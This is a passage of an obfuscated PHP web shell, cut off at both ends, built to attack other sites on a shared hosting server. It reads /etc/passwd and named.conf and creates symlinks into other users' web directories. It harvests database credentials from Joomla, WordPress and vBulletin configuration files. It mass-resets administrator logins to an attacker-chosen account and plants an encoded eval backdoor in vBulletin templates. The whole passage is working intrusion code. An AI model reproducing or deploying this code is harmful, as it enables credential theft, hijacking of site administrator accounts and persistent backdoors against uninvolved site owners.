if ($w or @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA==')) > 0) {
echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIlIIlI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA=='));
foreach ($IIIIIIIlIIlI as $IIIIIIIIII1l) {
$IIIIIIIIIII1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('Og=='), $IIIIIIIIII1l);
$IIIIIIIII1ll = $IIIIIIIIIII1[$GLOBALS['OOO0000O0']('MA==')];
echo "\r\n<tr>\r\n\r\n\r\n\r\n<td width='15%'>\r\n{$IIIIIIIII1ll}\r\n</td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n<td width='10%'>\r\n<a href='sym/root/home/{$IIIIIIIII1ll}/public_html' target='_blank'>Symlink </a>\r\n</td>\r\n\r\n<td width='10%'>\r\n<a href='{$IIIIIIIIIIl1}/sym/root/home/{$IIIIIIIII1ll}/public_html' target='_blank'>FTP</a>\r\n</td>\r\n\r\n\r\n\r\n</tr></div> ";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
die($GLOBALS['OOO0000O0']('PC90cj48L2Rpdj4='));
}
}
echo $GLOBALS['OOO0000O0']('cmVhZCAvZXRjL3Bhc3N3ZA==');
echo "<br /><br /><form method='post' action='?sws=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$file = $GLOBALS['OOO0000O0']('L2V0Yy9wYXNzd2Q=');
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($file, $GLOBALS['OOO0000O0']('cg=='));
if ($IIIIIIII11II) {
$IIIIIIII11Il = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMUkx')]($IIIIIIII11II, @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($file));
echo $GLOBALS['OOO0000O0']('') . $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxs')]($IIIIIIII11Il) . $GLOBALS['OOO0000O0']('');
} elseif (!$IIIIIIII11II) {
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWwx')]($file);
} elseif (!$IIIIIIII11II) {
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMTFJ')]($file);
} elseif (!$IIIIIIII11II) {
for ($IIIIIIIlIIll = 0; $IIIIIIIlIIll < 1000; $IIIIIIIlIIll++) {
$IIIIIIIlIIl1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')]($IIIIIIIlIIll);
if (!empty($IIIIIIIlIIl1)) {
while (list($IIIIIIIlII1I, $IIIIIIIlII1l) = each($IIIIIIIlIIl1)) {
print "{$IIIIIIIlII1l}:";
}
print "\n";
}
}
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
echo "</textarea><br /><br /><input type='submit' value=' symlink '/> </form>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
break;
case $GLOBALS['OOO0000O0']('am9vbWxh'):
if (isset($_POST[$GLOBALS['OOO0000O0']('cw==')])) {
$file = @file_get_contents($GLOBALS['OOO0000O0']('am9vbWxhLnR4dA=='));
$IIIIIIIlII11 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]("\n", $file);
echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
foreach ($IIIIIIIlII11 as $IIIIIIIlIlII) {
$IIIIIIIlIlIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('fHw='), $IIIIIIIlIlII);
$IIIIIIII1I11 = $IIIIIIIlIlIl[0];
$IIIIIIIlIlI1 = $IIIIIIIlIlIl[1];
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1) . $GLOBALS['OOO0000O0']('');
$IIIIIIIlIlll = @file_get_contents($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIII1I11));
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJbGwx')]($GLOBALS['OOO0000O0']('SkNvbmZpZw=='), $IIIIIIIlIlll)) {
$IIIIIIIlIl1I = IIIIIIIllll1($IIIIIIIlIlll, $GLOBALS['OOO0000O0']('JHBhc3N3b3JkID0gJw=='), "';");
$IIIIIIIlIl1l = IIIIIIIllll1($IIIIIIIlIlll, $GLOBALS['OOO0000O0']('JHVzZXIgPSAn'), "';");
$IIIIIIIlIl11 = IIIIIIIllll1($IIIIIIIlIlll, $GLOBALS['OOO0000O0']('JGRiID0gJw=='), "';");
$IIIIIIIlI1II = IIIIIIIllll1($IIIIIIIlIlll, $GLOBALS['OOO0000O0']('JGRicHJlZml4ID0gJw=='), "';");
$IIIIIIIlI1Il = $IIIIIIIlI1II . $GLOBALS['OOO0000O0']('dXNlcnM=');
$IIIIIIIlI1I1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWxJ')]($GLOBALS['OOO0000O0']('bG9jYWxob3N0'), $IIIIIIIlIl1l, $IIIIIIIlIl1I);
$IIIIIIIlIl11 = @mysql_select_db($IIIIIIIlIl11, $IIIIIIIlI1I1);
$IIIIIIIlI1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]("UPDATE `{$IIIIIIIlI1Il}` SET `username` ='sec-w.com'");
$IIIIIIIlI11I = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]("UPDATE `{$IIIIIIIlI1Il}` SET `password` ='44a0bcda611514625ba94e0b1c0bdaed:2iets9ydjR3iOdSuyvW54pIzyF9M1P5J'");
if ($IIIIIIIlI1ll and $IIIIIIIlI11I) {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkIDwvYj51c2VyIFtzZWMtdy5jb21dIHBhc3MgWzFdPC9iPg==');
} else {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');
}
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1) . $GLOBALS['OOO0000O0']('');
echo "<tr>\r\n<td><a target='_blank' href='http://{$IIIIIIIlIllI}'>{$IIIIIIIlIlI1}</a></td>\r\n<td><a target='_blank' href='{$IIIIIIII1I11}'>config</a></td><td>" . $r . $GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
} else {
echo "<tr>\r\n<td><a target='_blank' href='http://{$IIIIIIIlIllI}'>{$IIIIIIIlIlI1}</a></td>\r\n<td><a target='_blank' href='http://{$IIIIIIIlIlII}'>config</a></td><td><b style='color:red'>failed</b></td></tr>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
die;
}
if (!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))) {
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
} else {
$IIIIIIIIIll1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if (!$IIIIIIIIIll1) {
die("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
} else {
echo "<div class='tmp'>\r\n<form method='POST' action='{$IIIIIIIIIlI1}?sws=joomla'>\r\n<input type='submit' value='Mass ching Admin' />\r\n<input type='hidden' value='1' name='s' />\r\n</form><br /><br />\r\n<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('am9vbWxhLnR4dA=='), $GLOBALS['OOO0000O0']('dw=='));
foreach ($IIIIIIIIIll1 as $IIIIIIIIIl1l) {
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='), $IIIIIIIIIl1l)) {
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='), $IIIIIIIIIl1l, $IIIIIIIII1I1);
if (strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) > 2) {
$IIIIIIIII1ll = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=') . $IIIIIIIII1I1[1][0]));
$IIIIIIIII11l = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhw');
$IIIIIIIII111 = get_headers($IIIIIIIII11l);
$wp = $IIIIIIIII111[0];
$IIIIIIIIlIIl = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHA=');
$IIIIIIIIlII1 = get_headers($IIIIIIIIlIIl);
$IIIIIIIIlIlI = $IIIIIIIIlII1[0];
$IIIIIIIlI111 = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIIllIII = get_headers($IIIIIIIlI111);
$IIIIIIIllIIl = $IIIIIIIllIII[0];
$IIIIIIII1I1I = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp, $GLOBALS['OOO0000O0']('MjAw'));
$IIIIIIII1I11 = $GLOBALS['OOO0000O0']('Jm5ic3A7');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIII11l;
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlIlI, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIIlIIl;
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIllIIl, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIlI111;
} else {
continue;
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIIIl1l = $IIIIIIIII1I1[1][0];
$w = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l, "{$IIIIIIII1I11}||{$IIIIIIIIIl1l} \n");
if ($w) {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPg==');
} else {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');
}
echo $GLOBALS['OOO0000O0']('PHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cu') . $IIIIIIIII1I1[1][0] . $GLOBALS['OOO0000O0']('Pg==') . $IIIIIIIII1I1[1][0] . "</a></td>\r\n<td><a href='{$IIIIIIII1I11}'>config</a></td><td>" . $r . $GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('d3A='):
if (isset($_POST[$GLOBALS['OOO0000O0']('cw==')])) {
$file = @file_get_contents($GLOBALS['OOO0000O0']('d3AudHh0'));
$IIIIIIIlII11 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]("\n", $file);
echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
foreach ($IIIIIIIlII11 as $IIIIIIIlIlII) {
$IIIIIIIlIlIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('fHw='), $IIIIIIIlIlII);
$IIIIIIII1I11 = $IIIIIIIlIlIl[0];
$IIIIIIIlIlI1 = $IIIIIIIlIlIl[1];
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1) . $GLOBALS['OOO0000O0']('');
$IIIIIIIlIlll = @file_get_contents($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIII1I11));
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJbGwx')]($GLOBALS['OOO0000O0']('d3Atc2V0dGluZ3MucGhw'), $IIIIIIIlIlll)) {
$IIIIIIIlIl1I = IIIIIIIllll1($IIIIIIIlIlll, "define('DB_PASSWORD', '", "');");
$IIIIIIIlIl1l = IIIIIIIllll1($IIIIIIIlIlll, "define('DB_USER', '", "');");
$IIIIIIIlIl11 = IIIIIIIllll1($IIIIIIIlIlll, "define('DB_NAME', '", "');");
$IIIIIIIlI1II = IIIIIIIllll1($IIIIIIIlIlll, $GLOBALS['OOO0000O0']('JHRhYmxlX3ByZWZpeCAgPSAn'), "';");
$IIIIIIIlI1Il = $IIIIIIIlI1II . $GLOBALS['OOO0000O0']('dXNlcnM=');
$IIIIIIIlI1I1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWxJ')]($GLOBALS['OOO0000O0']('bG9jYWxob3N0'), $IIIIIIIlIl1l, $IIIIIIIlIl1I);
$IIIIIIIlIl11 = @mysql_select_db($IIIIIIIlIl11, $IIIIIIIlI1I1);
$IIIIIIIlI1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]("UPDATE `{$IIIIIIIlI1Il}` SET `user_login` ='sec-w.com'") or die;
$IIIIIIIlI1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]("UPDATE `{$IIIIIIIlI1Il}` SET `user_pass` ='{$IIIIIIIllII1}{$IIIIIIIllIlI}/.5i..{$IIIIIIIllIll}.fUHEmNZ.eIKYTwx/'") or die;
if ($IIIIIIIlI1ll) {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkIDwvYj51c2VyIFtzZWMtdy5jb21dIHBhc3MgWzFdPC9iPg==');
} else {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');
}
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1) . $GLOBALS['OOO0000O0']('');
echo "<tr>\r\n<td><a target='_blank' href='http://{$IIIIIIIlIllI}'>{$IIIIIIIlIlI1}</a></td>\r\n<td><a target='_blank' href='{$IIIIIIII1I11}'>config</a></td><td>" . $r . $GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
} else {
echo "<tr>\r\n<td><a target='_blank' href='http://{$IIIIIIIlIllI}'>{$IIIIIIIlIlI1}</a></td>\r\n<td><a target='_blank' href='http://{$IIIIIIII1I11}'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
die;
}
if (!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))) {
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
} else {
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if (!$IIIIIIIIIll1) {
die("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
} else {
echo "<div class='tmp'>\r\n<form method='POST' action='{$IIIIIIIIIlI1}?sws=wp'>\r\n<input type='submit' value='Mass Change Admin' />\r\n<input type='hidden' value='1' name='s' />\r\n</form>\r\n<br /><br />\r\n<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('d3AudHh0'), $GLOBALS['OOO0000O0']('dw=='));
foreach ($IIIIIIIIIll1 as $IIIIIIIIIl1l) {
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='), $IIIIIIIIIl1l)) {
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='), $IIIIIIIIIl1l, $IIIIIIIII1I1);
if (strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) > 2) {
$IIIIIIIII1ll = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=') . $IIIIIIIII1I1[1][0]));
$IIIIIIIII11l = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHA=');
$IIIIIIIII111 = get_headers($IIIIIIIII11l);
$wp = $IIIIIIIII111[0];
$IIIIIIIIlIIl = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocA==');
$IIIIIIIIlII1 = get_headers($IIIIIIIIlIIl);
$IIIIIIIIlIlI = $IIIIIIIIlII1[0];
$IIIIIIIlI111 = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZw==');
$IIIIIIIllIII = get_headers($IIIIIIIlI111);
$IIIIIIIllIIl = $IIIIIIIllIII[0];
$IIIIIIII1I1I = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp, $GLOBALS['OOO0000O0']('MjAw'));
$IIIIIIII1I11 = $GLOBALS['OOO0000O0']('Jm5ic3A7');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIII11l;
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlIlI, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIIlIIl;
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIllIIl, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIlI111;
} else {
continue;
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIIIl1l = $IIIIIIIII1I1[1][0];
$w = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l, "{$IIIIIIII1I11}||{$IIIIIIIIIl1l} \n");
if ($w) {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPg==');
} else {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');
}
echo $GLOBALS['OOO0000O0']('PHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cu') . $IIIIIIIII1I1[1][0] . $GLOBALS['OOO0000O0']('Pg==') . $IIIIIIIII1I1[1][0] . "</a></td>\r\n<td><a href='{$IIIIIIII1I11}'>config</a></td><td>" . $r . $GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('dmI='):
if (isset($_POST[$GLOBALS['OOO0000O0']('cw==')])) {
$file = @file_get_contents($GLOBALS['OOO0000O0']('dmIudHh0'));
$IIIIIIIlII11 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]("\n", $file);
echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
foreach ($IIIIIIIlII11 as $IIIIIIIlIlII) {
$IIIIIIIlIlIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('fHw='), $IIIIIIIlIlII);
$IIIIIIII1I11 = $IIIIIIIlIlIl[0];
$IIIIIIIlIlI1 = $IIIIIIIlIlIl[1];
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1) . $GLOBALS['OOO0000O0']('');
$IIIIIIIlIlll = @file_get_contents($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIII1I11));
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJbGwx')]($GLOBALS['OOO0000O0']('dkJ1bGxldGlu'), $IIIIIIIlIlll)) {
$IIIIIIIlIl11 = IIIIIIIllll1($IIIIIIIlIlll, $GLOBALS['OOO0000O0']('JGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gPSAn'), "';");
$IIIIIIIlIl1l = IIIIIIIllll1($IIIIIIIlIlll, $GLOBALS['OOO0000O0']('JGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gPSAn'), "';");
$IIIIIIIlIl1I = IIIIIIIllll1($IIIIIIIlIlll, $GLOBALS['OOO0000O0']('JGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3Bhc3N3b3JkJ10gPSAn'), "';");
$IIIIIIIlI1I1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWxJ')]($GLOBALS['OOO0000O0']('bG9jYWxob3N0'), $IIIIIIIlIl1l, $IIIIIIIlIl1I);
$IIIIIIIlIl11 = @mysql_select_db($IIIIIIIlIl11, $IIIIIIIlI1I1);
$IIIIIIIllIl1 = $GLOBALS['OOO0000O0']('YlZEUFM4TXdGTDRML2crdllaQVdkUFBpYVV2MTRrQVFGS3FuVVVxYXBqU1lOS0ZKeENuNzMyMmFiZ3pjSWZEeXZsK1A3L3FLczA0RDN0UzVzSjk2TU1KOWIrb2hEdzh2VFdjcTMxUEYwMnlKcC9XcXp2RWFaazJyQndXVU9hRjdnaEFvN2pyZEVHUzBkUWg0ejl6ZWNJS1VsMDRZT3JoVjROODIxRkVFd1pRZ2I2U21EUjhRaU9ic2R4WWhldU1kUktOV1NINVV4dG1LbjNHK3YwUDVUSXhnTlRxaFdXUjlyWVNMQVhIL1JhVWZnWThwYlZST1o0VkkwYWF3cU41ZWkvY2REbFJjQWlGd0pFSUd2NEh5eUxUWnA0dHErL3p5Vk94d09BU1hPK3lVcVVJNkxtL2dIeGlCTERpYzZvNjJVSGpHdUxXUUpFa285OVQ5R2c3QXBlVVhKRnNxNUVYK0FSN3lQdz09');
$IIIIIIIllI1I = "{\${eval(gzinflate(base64_decode(\\'";
$IIIIIIIllI1I .= "{$IIIIIIIllIl1}";
$IIIIIIIllI1I .= "\\')))}}{\${exit()}}</textarea>";
$IIIIIIIllI1l = "UPDATE template SET template ='" . $IIIIIIIllI1I . "' WHERE title ='FAQ'";
$IIIIIIIlI1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]($IIIIIIIllI1l, $IIIIIIIlI1I1);
if ($IIIIIIIlI1ll) {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkPC9iPiBzaGVsbCBpbiBzZWFyY2gucGhw');
} else {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');
}
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1) . $GLOBALS['OOO0000O0']('');
echo "<tr>\r\n<td><a target='_blank' href='http://{$IIIIIIIlIllI}'>{$IIIIIIIlIlI1}</a></td>\r\n<td><a target='_blank' href='{$IIIIIIII1I11}'>config</a></td><td>" . $r . $GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
} else {
echo "<tr>\r\n<td><a target='_blank' href='http://{$IIIIIIIlIllI}'>{$IIIIIIIlIlI1}</a></td>\r\n<td><a target='_blank' href='http://{$IIIIIIII1I11}'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";
}
}
die;
}
if (!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))) {
$IIIIIIIIIll1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
} else {
$IIIIIIIIIll1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if (!$IIIIIIIIIll1) {
die("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
} else {
echo "<div class='tmp'>\r\n<form method='POST' action='{$IIIIIIIIIlI1}?sws=vb'>\r\n<input type='submit' value='Inject shell' />\r\n<input type='hidden' value='1' name='s' />\r\n</form>\r\n<br /><br />\r\n<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('dmIudHh0'), $GLOBALS['OOO0000O0']('dw=='));
foreach ($IIIIIIIIIll1 as $IIIIIIIIIl1l) {
